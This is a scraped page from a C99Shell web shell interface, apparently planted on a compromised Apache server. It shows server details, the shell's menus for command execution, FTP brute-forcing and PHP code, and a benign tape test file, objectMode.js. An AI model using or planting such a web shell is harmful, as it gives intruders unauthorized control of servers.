!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/local/share/.cache/yarn/v6/npm-tape-5.6.1-integrity/node_modules/tape/test/   drwxr-xr-x
Free 13.24 GB of 57.97 GB (22.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     objectMode.js (1.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
'use strict';

var tap = require('tap');
var tape = require('../');
var forEach = require('for-each');
var through = require('through');

tap.test('object results', function (assert) {
	var printer = through({ objectMode: true });
	var objects = [];

	printer.write = function (obj) {
		objects.push(obj);
	};

	printer.end = function (obj) {
		if (obj) { objects.push(obj); }

		var todos = 0;
		var skips = 0;
		var testIds = [];
		var endIds = [];
		var asserts = 0;

		assert.equal(objects.length, 13);

		forEach(objects, function (object) {
			if (object.type === 'assert') {
				asserts++;
			} else if (object.type === 'test') {
				testIds.push(object.id);

				if (object.skip) {
					skips++;
				} else if (object.todo) {
					todos++;
				}
			} else if (object.type === 'end') {
				endIds.push(object.text);
				// test object should exist
				assert.notEqual(testIds.indexOf(object.test), -1);
			}
		});

		assert.equal(asserts, 5);
		assert.equal(skips, 1);
		assert.equal(todos, 2);
		assert.equal(testIds.length, endIds.length);
		assert.end();
	};

	tape.createStream({ objectMode: true }).pipe(printer);

	tape('parent', function (t1) {
		t1.equal(true, true);
		t1.test('child1', { skip: true }, function (t2) {
			t2.equal(true, true);
			t2.equal(true, false);
			t2.end();
		});
		t1.test('child2', { todo: true }, function (t3) {
			t3.equal(true, false);
			t3.equal(true, true);
			t3.end();
		});
		t1.test('child3', { todo: true });
		t1.equal(true, true);
		t1.equal(true, true);
		t1.end();
	});
});

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0072 ]--